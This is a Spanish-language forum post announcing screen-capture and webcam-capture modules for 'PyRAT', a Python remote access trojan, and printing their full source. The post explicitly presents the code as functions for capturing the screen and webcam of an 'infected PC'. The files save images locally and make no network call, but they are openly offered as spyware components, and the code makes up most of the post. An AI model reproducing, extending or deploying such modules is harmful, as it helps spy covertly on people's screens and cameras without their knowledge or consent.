PyRAT - Screenshot y Webcam Capture
Un nuevo avance de este prometedor RAT multiplataforma desarrollado en Python, acaba de salir a la luz. El mismo esta siendo programado por WhiZ, un usuario de Underc0de.
El día de hoy dos nuevas funciones fueron lanzadas al publico, las cuales consisten en capturar la pantalla y la webcam de la PC infectada.
screenshot.py
#!/usr/bin/env python
#-*- encoding:utf-8 -*-
# screenshot.py
from PyQt4.QtGui import QApplication, QPixmap
from os import environ, mkdir, listdir
from sys import argv
from time import strftime, gmtime
class Screenshot(object):
def __init__(self):
self.usuario = environ['USER']
if not 'screenshot' in listdir('./'):
mkdir('screenshot')
def capturarPantalla(self):
time = strftime("%d %b %Y_%H:%M:%S", gmtime())
imagen = './screenshot/' + self.usuario + '_' + time + '.png'
app = QApplication(argv)
winId = QApplication.desktop().winId()
width = QApplication.desktop().screenGeometry().width()
height = QApplication.desktop().screenGeometry().height()
captura = QPixmap.grabWindow(winId, 0, 0, width, height)
captura.save(imagen)
def main():
ss = Screenshot()
ss.capturarPantalla()
if __name__ == '__main__':
main()
webcamCapture.py
#!/usr/bin/env python
#-*- encoding:utf-8 -*-
# webcamCapture.py
from pygame.image import save
import pygame.camera as camera
from os import environ, mkdir, listdir
from time import strftime, gmtime
class WebcamCapture(object):
def __init__(self):
camera.init()
misWebcams = camera.list_cameras()
if len(misWebcams) == 0:
raise Exception('No hay webcam disponible.')
exit()
elif len(misWebcams) == 1:
self.miWebcam = misWebcams[0]
else:
for i in range(len(misWebcams)):
try:
self.miWebcam = misWebcams[i]
break
except:
continue
def capturar(self):
try:
webcam = camera.Camera(self.miWebcam,(640,480))
webcam.start()
self.captura = webcam.get_image()
webcam.stop()
except Exception as e:
print e
def guardarCaptura(self):
self.usuario = environ['USER']
if not 'webcam' in listdir('./'):
mkdir('webcam')
tiempo = strftime("%d %b %Y_%H:%M:%S", gmtime())
imagen = './webcam/' + self.usuario + '_' + tiempo + '.png'
save(self.captura, imagen)
def main():
wcCapture = WebcamCapture()
wcCapture.capturar()
wcCapture.guardarCaptura()
if __name__ == '__main__':
main()

